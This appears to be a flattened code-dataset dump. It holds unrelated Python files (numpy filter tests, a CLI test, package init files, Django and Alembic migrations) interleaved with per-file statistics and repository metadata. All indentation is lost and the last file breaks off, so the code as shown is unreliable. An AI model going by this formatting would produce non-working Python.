[[1, 1, 1],
[1, 1, 1]],
dtype=dtype)
else:
expected_kernel = np.array(
[[1, 1, 1],
[1, 1, 1],
[1, 1, 1]],
dtype=dtype)
assert_array_equal(kernel, expected_kernel)
assert kernel.dtype == dtype
def test_mean_filter():
# np.uint8
filtered_x = stack.mean_filter(x,
kernel_shape="square",
kernel_size=3)
expected_x = np.array(
[[2, 1, 0, 0, 0],
[1, 1, 0, 0, 0],
[0, 0, 1, 0, 0],
[0, 0, 1, 0, 0],
[0, 0, 0, 0, 0]],
dtype=np.uint8)
assert_array_equal(filtered_x, expected_x)
assert filtered_x.dtype == np.uint8
# np.uint16
filtered_x = stack.mean_filter(x.astype(np.uint16),
kernel_shape="square",
kernel_size=3)
expected_x = expected_x.astype(np.uint16)
assert_array_equal(filtered_x, expected_x)
assert filtered_x.dtype == np.uint16
# np.float32
filtered_x = stack.mean_filter(x.astype(np.float32),
kernel_shape="square",
kernel_size=3)
expected_x = np.array(
[[2.333, 1.444, 0.556, 0., 0.],
[1.556, 1., 0.444, 0., 0.],
[0.889, 0.778, 1.111, 0.667, 0.556],
[0.333, 0.444, 1., 0.667, 0.556],
[0.222, 0.333, 0.889, 0.667, 0.556]],
dtype=np.float32)
assert_allclose(filtered_x, expected_x, rtol=1e-02)
assert filtered_x.dtype == np.float32
# np.float64
filtered_x = stack.mean_filter(x.astype(np.float64),
kernel_shape="square",
kernel_size=3)
expected_x = expected_x.astype(np.float64)
assert_allclose(filtered_x, expected_x, rtol=1e-02)
assert filtered_x.dtype == np.float64
def test_median_filter():
# np.uint8
filtered_x = stack.median_filter(x,
kernel_shape="square",
kernel_size=3)
expected_x = np.array(
[[2, 2, 0, 0, 0],
[2, 1, 0, 0, 0],
[1, 1, 1, 0, 0],
[0, 0, 0, 0, 0],
[0, 0, 1, 0, 0]],
dtype=np.uint8)
assert_array_equal(filtered_x, expected_x)
assert filtered_x.dtype == np.uint8
# np.uint16
filtered_x = stack.median_filter(x.astype(np.uint16),
kernel_shape="square",
kernel_size=3)
expected_x = expected_x.astype(np.uint16)
assert_array_equal(filtered_x, expected_x)
assert filtered_x.dtype == np.uint16
def test_maximum_filter():
# np.uint8
filtered_x = stack.maximum_filter(x,
kernel_shape="square",
kernel_size=3)
expected_x = np.array(
[[3, 3, 2, 0, 0],
[3, 3, 2, 0, 0],
[2, 2, 5, 5, 5],
[2, 2, 5, 5, 5],
[2, 2, 5, 5, 5]],
dtype=np.uint8)
assert_array_equal(filtered_x, expected_x)
assert filtered_x.dtype == np.uint8
# np.uint16
filtered_x = stack.maximum_filter(x.astype(np.uint16),
kernel_shape="square",
kernel_size=3)
expected_x = expected_x.astype(np.uint16)
assert_array_equal(filtered_x, expected_x)
assert filtered_x.dtype == np.uint16
def test_minimum_filter():
# np.uint8
filtered_x = stack.minimum_filter(x,
kernel_shape="square",
kernel_size=3)
expected_x = np.array(
[[1, 0, 0, 0, 0],
[0, 0, 0, 0, 0],
[0, 0, 0, 0, 0],
[0, 0, 0, 0, 0],
[0, 0, 0, 0, 0]],
dtype=np.uint8)
assert_array_equal(filtered_x, expected_x)
assert filtered_x.dtype == np.uint8
# np.uint16
filtered_x = stack.minimum_filter(x.astype(np.uint16),
kernel_shape="square",
kernel_size=3)
expected_x = expected_x.astype(np.uint16)
assert_array_equal(filtered_x, expected_x)
assert filtered_x.dtype == np.uint16
def test_log_filter():
# float64
y_float64 = stack.cast_img_float64(y)
filtered_y_float64 = stack.log_filter(y_float64, 2)
expected_y_float64 = np.array(
[[0., 0., 0.02995949, 0.06212277, 0.07584532],
[0., 0., 0.02581818, 0.05134284, 0.06123539],
[0., 0., 0.01196859, 0.0253716, 0.02853162],
[0., 0., 0., 0., 0.],
[0., 0., 0., 0., 0.]],
dtype=np.float64)
assert_allclose(filtered_y_float64, expected_y_float64, rtol=1e-6)
assert filtered_y_float64.dtype == np.float64
# float32
y_float32 = stack.cast_img_float32(y)
filtered_y = stack.log_filter(y_float32, 2)
expected_y = stack.cast_img_float32(expected_y_float64)
assert_allclose(filtered_y, expected_y, rtol=1e-6)
assert filtered_y.dtype == np.float32
# uint8
filtered_y = stack.log_filter(y, 2)
expected_y = stack.cast_img_uint8(expected_y_float64)
assert_array_equal(filtered_y, expected_y)
assert filtered_y.dtype == np.uint8
# uint16
y_uint16 = stack.cast_img_uint16(y)
filtered_y = stack.log_filter(y_uint16, 2)
expected_y = stack.cast_img_uint16(expected_y_float64)
assert_array_equal(filtered_y, expected_y)
assert filtered_y.dtype == np.uint16
def test_gaussian_filter():
# float64
y_float64 = stack.cast_img_float64(y)
filtered_y_float64 = stack.gaussian_filter(y_float64, 2)
expected_y_float64 = np.array(
[[0.08928096, 0.1573019 , 0.22897881, 0.28086597, 0.3001061 ],
[0.08668051, 0.14896399, 0.21282558, 0.25752308, 0.27253406],
[0.07634613, 0.12664142, 0.17574502, 0.20765944, 0.2155001 ],
[0.05890843, 0.09356377, 0.12493327, 0.1427122 , 0.14374558],
[0.03878372, 0.05873308, 0.07492625, 0.08201409, 0.07939603]],
dtype=np.float64)
assert_allclose(filtered_y_float64, expected_y_float64, rtol=1e-6)
assert filtered_y_float64.dtype == np.float64
# float32
y_float32 = stack.cast_img_float32(y)
filtered_y = stack.gaussian_filter(y_float32, 2)
expected_y = stack.cast_img_float32(expected_y_float64)
assert_allclose(filtered_y, expected_y, rtol=1e-6)
assert filtered_y.dtype == np.float32
# uint8
with pytest.raises(ValueError):
stack.gaussian_filter(y, 2, allow_negative=True)
filtered_y = stack.gaussian_filter(y, 2)
expected_y = stack.cast_img_uint8(expected_y_float64)
assert_array_equal(filtered_y, expected_y)
assert filtered_y.dtype == np.uint8
# uint16
y_uint16 = stack.cast_img_uint16(y)
with pytest.raises(ValueError):
stack.gaussian_filter(y_uint16, 2, allow_negative=True)
filtered_y = stack.gaussian_filter(y_uint16, 2)
expected_y = stack.cast_img_uint16(expected_y_float64)
assert_array_equal(filtered_y, expected_y)
assert filtered_y.dtype == np.uint16
def test_background_removal_mean():
# np.uint8
filtered_x = stack.remove_background_mean(x,
kernel_shape="square",
kernel_size=3)
expected_x = np.array(
[[1, 1, 0, 0, 0],
[1, 0, 0, 0, 0],
[0, 1, 0, 0, 0],
[0, 2, 0, 5, 0],
[0, 0, 0, 0, 0]],
dtype=np.uint8)
assert_array_equal(filtered_x, expected_x)
assert filtered_x.dtype == np.uint8
# np.uint16
filtered_x = stack.remove_background_mean(x.astype(np.uint16),
kernel_shape="square",
kernel_size=3)
expected_x = expected_x.astype(np.uint16)
assert_array_equal(filtered_x, expected_x)
assert filtered_x.dtype == np.uint16
def test_background_removal_gaussian():
# float64
y_float64 = stack.cast_img_float64(y)
filtered_y_float64 = stack.remove_background_gaussian(y_float64, 2)
expected_y_float64 = np.array(
[[0., 0., 0.01415845, 0.36227129, 0.],
[0., 0., 0.25776265, 0.66404555, 0.43726986],
[0., 0., 0.11052949, 0.59626213, 0.],
[0., 0.42016172, 0., 0., 0.],
[0., 0., 0., 0., 0.]],
dtype=np.float64)
assert_allclose(filtered_y_float64, expected_y_float64, rtol=1e-6)
assert filtered_y_float64.dtype == np.float64
# float32
y_float32 = stack.cast_img_float32(y)
filtered_y = stack.remove_background_gaussian(y_float32, 2)
expected_y = stack.cast_img_float32(expected_y_float64)
assert_allclose(filtered_y, expected_y, rtol=1e-6)
assert filtered_y.dtype == np.float32
# uint8
with pytest.raises(ValueError):
stack.gaussian_filter(y, 2, allow_negative=True)
filtered_y = stack.remove_background_gaussian(y, 2)
expected_y = stack.cast_img_uint8(expected_y_float64)
assert_array_equal(filtered_y, expected_y)
assert filtered_y.dtype == np.uint8
# uint16
y_uint16 = stack.cast_img_uint16(y)
with pytest.raises(ValueError):
stack.gaussian_filter(y_uint16, 2, allow_negative=True)
filtered_y = stack.remove_background_gaussian(y_uint16, 2)
expected_y = stack.cast_img_uint16(expected_y_float64)
assert_array_equal(filtered_y, expected_y)
assert filtered_y.dtype == np.uint16
def test_dilation_filter():
# np.uint8
filtered_x = stack.dilation_filter(x,
kernel_shape="square",
kernel_size=3)
expected_x = np.array(
[[3, 3, 2, 0, 0],
[3, 3, 2, 0, 0],
[2, 2, 5, 5, 5],
[2, 2, 5, 5, 5],
[2, 2, 5, 5, 5]],
dtype=np.uint8)
assert_array_equal(filtered_x, expected_x)
assert filtered_x.dtype == np.uint8
# np.uint16
filtered_x = stack.dilation_filter(x.astype(np.uint16),
kernel_shape="square",
kernel_size=3)
expected_x = expected_x.astype(np.uint16)
assert_array_equal(filtered_x, expected_x)
assert filtered_x.dtype == np.uint16
# np.float32
filtered_x = stack.dilation_filter(x.astype(np.float32),
kernel_shape="square",
kernel_size=3)
expected_x = expected_x.astype(np.float32)
assert_array_equal(filtered_x, expected_x)
assert filtered_x.dtype == np.float32
# np.float64
filtered_x = stack.dilation_filter(x.astype(np.float64),
kernel_shape="square",
kernel_size=3)
expected_x = expected_x.astype(np.float64)
assert_array_equal(filtered_x, expected_x)
assert filtered_x.dtype == np.float64
# bool
filtered_x = stack.dilation_filter(x.astype(bool),
kernel_shape="square",
kernel_size=3)
expected_x = expected_x.astype(bool)
assert_array_equal(filtered_x, expected_x)
assert filtered_x.dtype == bool
def test_erosion_filter():
# np.uint8
filtered_x = stack.erosion_filter(x,
kernel_shape="square",
kernel_size=3)
expected_x = np.array(
[[1, 0, 0, 0, 0],
[0, 0, 0, 0, 0],
[0, 0, 0, 0, 0],
[0, 0, 0, 0, 0],
[0, 0, 0, 0, 0]],
dtype=np.uint8)
assert_array_equal(filtered_x, expected_x)
assert filtered_x.dtype == np.uint8
# np.uint16
filtered_x = stack.erosion_filter(x.astype(np.uint16),
kernel_shape="square",
kernel_size=3)
expected_x = expected_x.astype(np.uint16)
assert_array_equal(filtered_x, expected_x)
assert filtered_x.dtype == np.uint16
# np.float32
filtered_x = stack.erosion_filter(x.astype(np.float32),
kernel_shape="square",
kernel_size=3)
expected_x = expected_x.astype(np.float32)
assert_array_equal(filtered_x, expected_x)
assert filtered_x.dtype == np.float32
# np.float64
filtered_x = stack.erosion_filter(x.astype(np.float64),
kernel_shape="square",
kernel_size=3)
expected_x = expected_x.astype(np.float64)
assert_array_equal(filtered_x, expected_x)
assert filtered_x.dtype == np.float64
# bool
filtered_x = stack.erosion_filter(x.astype(bool),
kernel_shape="square",
kernel_size=3)
expected_x = expected_x.astype(bool)
assert_array_equal(filtered_x, expected_x)
assert filtered_x.dtype == bool
| 34.82151
| 71
| 0.556483
| 2,028
| 15,217
| 3.946746
| 0.078402
| 0.044478
| 0.047976
| 0.044978
| 0.8497
| 0.827461
| 0.795727
| 0.776862
| 0.766742
| 0.765117
| 0
| 0.118154
| 0.320891
| 15,217
| 436
| 72
| 34.901376
| 0.656377
| 0.031347
| 0
| 0.699115
| 0
| 0
| 0.015381
| 0
| 0
| 0
| 0
| 0
| 0.212389
| 1
| 0.032448
| false
| 0
| 0.017699
| 0
| 0.050147
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
f63e34643f9ce8bcd233959f49016f41e28a7a1f
| 699
|
py
|
Python
|
tests/test_main.py
|
tokusumi/drudgeyer
|
5282b92c22493ae43421493b9850e10df34ef34f
|
[
"MIT"
] | null | null | null |
tests/test_main.py
|
tokusumi/drudgeyer
|
5282b92c22493ae43421493b9850e10df34ef34f
|
[
"MIT"
] | 3
|
2021-03-06T11:28:39.000Z
|
2021-03-11T08:12:07.000Z
|
tests/test_main.py
|
tokusumi/drudgeyer
|
5282b92c22493ae43421493b9850e10df34ef34f
|
[
"MIT"
] | null | null | null |
from typer.testing import CliRunner
from drudgeyer import app
runner = CliRunner()
def test_app():
result = runner.invoke(app, ["--help"])
assert result.exit_code == 0, result.stdout
result = runner.invoke(app, ["run", "--help"])
assert result.exit_code == 0, result.stdout
result = runner.invoke(app, ["add", "--help"])
assert result.exit_code == 0, result.stdout
result = runner.invoke(app, ["list", "--help"])
assert result.exit_code == 0, result.stdout
result = runner.invoke(app, ["delete", "--help"])
assert result.exit_code == 0, result.stdout
result = runner.invoke(app, ["log", "--help"])
assert result.exit_code == 0, result.stdout
| 26.884615
| 53
| 0.646638
| 91
| 699
| 4.89011
| 0.252747
| 0.161798
| 0.242697
| 0.283146
| 0.734831
| 0.734831
| 0.734831
| 0.734831
| 0.651685
| 0.651685
| 0
| 0.010526
| 0.184549
| 699
| 25
| 54
| 27.96
| 0.770175
| 0
| 0
| 0.375
| 0
| 0
| 0.078684
| 0
| 0
| 0
| 0
| 0
| 0.375
| 1
| 0.0625
| false
| 0
| 0.125
| 0
| 0.1875
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
f6491069571690a0457248fa03941dc4de624512
| 139
|
py
|
Python
|
python_tutorial/main.py
|
vchatchai/python101
|
c2f1c7b0f62a4600f9c64af566dc5630742580f2
|
[
"Apache-2.0"
] | null | null | null |
python_tutorial/main.py
|
vchatchai/python101
|
c2f1c7b0f62a4600f9c64af566dc5630742580f2
|
[
"Apache-2.0"
] | null | null | null |
python_tutorial/main.py
|
vchatchai/python101
|
c2f1c7b0f62a4600f9c64af566dc5630742580f2
|
[
"Apache-2.0"
] | null | null | null |
from fibo import fib, fib2
import fibo
import importlib
print(fibo.__name__)
print(fib(1000))
print(fibo.fib2(100))
importlib.reload(fibo)
| 17.375
| 26
| 0.791367
| 22
| 139
| 4.818182
| 0.5
| 0.188679
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.071429
| 0.093525
| 139
| 7
| 27
| 19.857143
| 0.769841
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.571429
| 0
| 0.571429
| 0.428571
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 1
|
0
| 6
|
f672f9dedd21cb0b5ca593d026104393d22f9ce8
| 39
|
py
|
Python
|
lhotse/tools/__init__.py
|
csukuangfj/lhotse
|
9b12055ca75718914c5457b33e498d1c8e8b86d8
|
[
"Apache-2.0"
] | 353
|
2020-10-31T10:38:51.000Z
|
2022-03-30T05:22:52.000Z
|
lhotse/tools/__init__.py
|
csukuangfj/lhotse
|
9b12055ca75718914c5457b33e498d1c8e8b86d8
|
[
"Apache-2.0"
] | 353
|
2020-10-27T23:25:12.000Z
|
2022-03-31T22:16:05.000Z
|
lhotse/tools/__init__.py
|
csukuangfj/lhotse
|
9b12055ca75718914c5457b33e498d1c8e8b86d8
|
[
"Apache-2.0"
] | 66
|
2020-11-01T06:08:08.000Z
|
2022-03-29T02:03:07.000Z
|
from .sph2pipe import install_sph2pipe
| 19.5
| 38
| 0.871795
| 5
| 39
| 6.6
| 0.8
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.057143
| 0.102564
| 39
| 1
| 39
| 39
| 0.885714
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
f67731f5fc0850e27929602df508ab390137d452
| 194
|
py
|
Python
|
trac/Lib/site-packages/projectplan-0.93.0-py2.7-patched.egg/projectplan/renderer/__init__.py
|
thinkbase/PortableTrac
|
9ea0210f6b88f135ef73f370b48127af0495b2d7
|
[
"BSD-3-Clause"
] | 2
|
2015-08-06T04:19:21.000Z
|
2020-04-29T23:52:10.000Z
|
trac/Lib/site-packages/projectplan-0.93.0-py2.7-patched.egg/projectplan/renderer/__init__.py
|
thinkbase/PortableTrac
|
9ea0210f6b88f135ef73f370b48127af0495b2d7
|
[
"BSD-3-Clause"
] | null | null | null |
trac/Lib/site-packages/projectplan-0.93.0-py2.7-patched.egg/projectplan/renderer/__init__.py
|
thinkbase/PortableTrac
|
9ea0210f6b88f135ef73f370b48127af0495b2d7
|
[
"BSD-3-Clause"
] | null | null | null |
# -*- coding: utf-8 -*-
from ppchartrenderer import *
from ppticketsperuserday import *
#from pphierarchicalrenderer import *
from ppreportrenderer import *
from ppgroupstatsrenderer import *
| 21.555556
| 37
| 0.783505
| 18
| 194
| 8.444444
| 0.555556
| 0.263158
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.005988
| 0.139175
| 194
| 8
| 38
| 24.25
| 0.904192
| 0.293814
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
9ca98cc0d23366e6e53f54eb84870f9bb11bce99
| 42
|
py
|
Python
|
netijen/lazuardyk/findmin.py
|
yesyou11/hacktoberfest-2019
|
8f05b9b2453577d589c63f196c916a95377da98a
|
[
"WTFPL"
] | 1
|
2019-10-01T16:30:00.000Z
|
2019-10-01T16:30:00.000Z
|
netijen/lazuardyk/findmin.py
|
yesyou11/hacktoberfest-2019
|
8f05b9b2453577d589c63f196c916a95377da98a
|
[
"WTFPL"
] | null | null | null |
netijen/lazuardyk/findmin.py
|
yesyou11/hacktoberfest-2019
|
8f05b9b2453577d589c63f196c916a95377da98a
|
[
"WTFPL"
] | null | null | null |
def findmin(angka):
return min(angka)
| 14
| 21
| 0.690476
| 6
| 42
| 4.833333
| 0.833333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.190476
| 42
| 2
| 22
| 21
| 0.852941
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.5
| false
| 0
| 0
| 0.5
| 1
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 6
|
140d9fc18715129ce4df3ee2291a9af73b8ddedf
| 22
|
py
|
Python
|
src/dpsrvf/__init__.py
|
drewrl3v/dpsrvf
|
b78a83417bb59e5df7ebd831db6511116d16b638
|
[
"BSD-3-Clause"
] | null | null | null |
src/dpsrvf/__init__.py
|
drewrl3v/dpsrvf
|
b78a83417bb59e5df7ebd831db6511116d16b638
|
[
"BSD-3-Clause"
] | 1
|
2021-12-02T00:04:29.000Z
|
2021-12-02T00:04:29.000Z
|
src/dpsrvf/__init__.py
|
drewrl3v/dpsrvf
|
b78a83417bb59e5df7ebd831db6511116d16b638
|
[
"BSD-3-Clause"
] | null | null | null |
from .dpsrvf import *
| 11
| 21
| 0.727273
| 3
| 22
| 5.333333
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.181818
| 22
| 1
| 22
| 22
| 0.888889
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
148f4c1f2a15a99386afd8bf7437ae1271c28c0c
| 63
|
py
|
Python
|
gethigal/__init__.py
|
vlas-sokolov/gethigal
|
4a1cdd2b5acd673f19fa99a87560f09ba8dba2eb
|
[
"MIT"
] | 4
|
2017-03-22T19:58:44.000Z
|
2019-08-25T23:39:46.000Z
|
gethigal/__init__.py
|
vlas-sokolov/gethigal
|
4a1cdd2b5acd673f19fa99a87560f09ba8dba2eb
|
[
"MIT"
] | null | null | null |
gethigal/__init__.py
|
vlas-sokolov/gethigal
|
4a1cdd2b5acd673f19fa99a87560f09ba8dba2eb
|
[
"MIT"
] | null | null | null |
from . import requestform
from .requestform import RequestForm
| 21
| 36
| 0.84127
| 7
| 63
| 7.571429
| 0.428571
| 0.641509
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.126984
| 63
| 2
| 37
| 31.5
| 0.963636
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
14ae332af62300b3f821c52ff9cb9ba5f6319266
| 64
|
py
|
Python
|
stweet/file_reader/__init__.py
|
enginbozaba/stweet-twitter-api
|
060250e00a01ae53c2ca12954719b5efc918e132
|
[
"MIT"
] | null | null | null |
stweet/file_reader/__init__.py
|
enginbozaba/stweet-twitter-api
|
060250e00a01ae53c2ca12954719b5efc918e132
|
[
"MIT"
] | null | null | null |
stweet/file_reader/__init__.py
|
enginbozaba/stweet-twitter-api
|
060250e00a01ae53c2ca12954719b5efc918e132
|
[
"MIT"
] | null | null | null |
from .read_from_file import read_from_csv, read_from_json_lines
| 32
| 63
| 0.890625
| 12
| 64
| 4.166667
| 0.583333
| 0.48
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.078125
| 64
| 1
| 64
| 64
| 0.847458
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
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| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
14bb4e643ae8b1e0c73b8052db2f70c31a743c1a
| 43
|
py
|
Python
|
cnn_example/data/__init__.py
|
4620511/cnn-example
|
b89b235d68569fac4769f50ee2f49ee16c750f08
|
[
"MIT"
] | null | null | null |
cnn_example/data/__init__.py
|
4620511/cnn-example
|
b89b235d68569fac4769f50ee2f49ee16c750f08
|
[
"MIT"
] | null | null | null |
cnn_example/data/__init__.py
|
4620511/cnn-example
|
b89b235d68569fac4769f50ee2f49ee16c750f08
|
[
"MIT"
] | null | null | null |
from .data import DataModule # noqa: F401
| 21.5
| 42
| 0.744186
| 6
| 43
| 5.333333
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.085714
| 0.186047
| 43
| 1
| 43
| 43
| 0.828571
| 0.232558
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
1ae6cabe59971a540b46e4c4a87d2df6445846bf
| 1,764
|
py
|
Python
|
classic_tetris_project/migrations/0049_auto_20210417_2149.py
|
professor-l/classic-tetris-project
|
d171ab40c06b87ee945dce058babf2ed23dd3b88
|
[
"MIT"
] | 17
|
2019-11-23T12:56:06.000Z
|
2022-02-05T21:48:00.000Z
|
classic_tetris_project/migrations/0049_auto_20210417_2149.py
|
professor-l/classic-tetris-project
|
d171ab40c06b87ee945dce058babf2ed23dd3b88
|
[
"MIT"
] | 43
|
2019-10-03T20:16:11.000Z
|
2022-03-12T00:24:52.000Z
|
classic_tetris_project/migrations/0049_auto_20210417_2149.py
|
professor-l/classic-tetris-project
|
d171ab40c06b87ee945dce058babf2ed23dd3b88
|
[
"MIT"
] | 17
|
2020-02-09T01:55:01.000Z
|
2021-11-12T21:16:50.000Z
|
# Generated by Django 3.1.3 on 2021-04-17 21:49
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('classic_tetris_project', '0048_auto_20210417_2147'),
]
operations = [
migrations.AlterField(
model_name='tournamentmatch',
name='loser',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.RESTRICT, related_name='+', to='classic_tetris_project.tournamentplayer'),
),
migrations.AlterField(
model_name='tournamentmatch',
name='player1',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.RESTRICT, related_name='+', to='classic_tetris_project.tournamentplayer'),
),
migrations.AlterField(
model_name='tournamentmatch',
name='player2',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.RESTRICT, related_name='+', to='classic_tetris_project.tournamentplayer'),
),
migrations.AlterField(
model_name='tournamentmatch',
name='source1_data',
field=models.IntegerField(blank=True, null=True),
),
migrations.AlterField(
model_name='tournamentmatch',
name='source2_data',
field=models.IntegerField(blank=True, null=True),
),
migrations.AlterField(
model_name='tournamentmatch',
name='winner',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.RESTRICT, related_name='+', to='classic_tetris_project.tournamentplayer'),
),
]
| 39.2
| 169
| 0.643424
| 178
| 1,764
| 6.213483
| 0.280899
| 0.0434
| 0.135624
| 0.157324
| 0.792043
| 0.792043
| 0.748644
| 0.748644
| 0.748644
| 0.748644
| 0
| 0.025964
| 0.235828
| 1,764
| 44
| 170
| 40.090909
| 0.79451
| 0.02551
| 0
| 0.631579
| 1
| 0
| 0.200349
| 0.117065
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.052632
| 0
| 0.131579
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
2146376ebb271565f1cb15c5a7d8faeed0721eb4
| 14,914
|
py
|
Python
|
alembic/versions/8d599d025605_remove.py
|
rxrw/file-reader
|
43e7047b5b4db25dff7d391241583ba6b7849061
|
[
"MIT"
] | 2
|
2020-12-02T23:17:52.000Z
|
2020-12-04T18:20:27.000Z
|
alembic/versions/8d599d025605_remove.py
|
rxrw/file-reader
|
43e7047b5b4db25dff7d391241583ba6b7849061
|
[
"MIT"
] | 1
|
2021-02-03T03:11:57.000Z
|
2021-02-03T03:11:57.000Z
|
alembic/versions/8d599d025605_remove.py
|
rxrw/file-reader
|
43e7047b5b4db25dff7d391241583ba6b7849061
|
[
"MIT"
] | null | null | null |
"""remove
Revision ID: 8d599d025605
Revises: 8effd1c19c35
Create Date: 2020-11-30 15:53:56.451886
"""
from alembic import op
import sqlalchemy as sa
from sqlalchemy.dialects import mysql
# revision identifiers, used by Alembic.
revision = '8d599d025605'
down_revision = '8effd1c19c35'
branch_labels = None
depends_on = None
def upgrade():
# ### commands auto generated by Alembic - please adjust! ###
op.drop_index('ix_qiye_tel', table_name='qiye')
op.drop_table('qiye')
op.drop_index('ix_shunfeng_tel', table_name='shunfeng')
op.drop_table('shunfeng')
op.drop_index('ix_kfc_email', table_name='kfc')
op.drop_index('ix_kfc_tel', table_name='kfc')
op.drop_table('kfc')
op.drop_index('ix_car_email', table_name='car')
op.drop_index('ix_car_tel', table_name='car')
op.drop_table('car')
op.drop_index('ix_jiekuan_qq', table_name='jiekuan')
op.drop_index('ix_jiekuan_tel', table_name='jiekuan')
op.drop_table('jiekuan')
op.drop_index('ix_qq_qq', table_name='qq')
op.drop_index('ix_qq_tel', table_name='qq')
op.drop_table('qq')
op.drop_index('ix_pingan_email', table_name='pingan')
op.drop_index('ix_pingan_tel', table_name='pingan')
op.drop_table('pingan')
op.drop_index('ix_gongan_tel', table_name='gongan')
op.drop_table('gongan')
op.drop_index('ix_weibo_tel', table_name='weibo')
op.drop_index('ix_weibo_uid', table_name='weibo')
op.drop_table('weibo')
op.drop_index('ix_jingdong_mail', table_name='jingdong')
op.drop_index('ix_jingdong_tel', table_name='jingdong')
op.drop_table('jingdong')
# ### end Alembic commands ###
def downgrade():
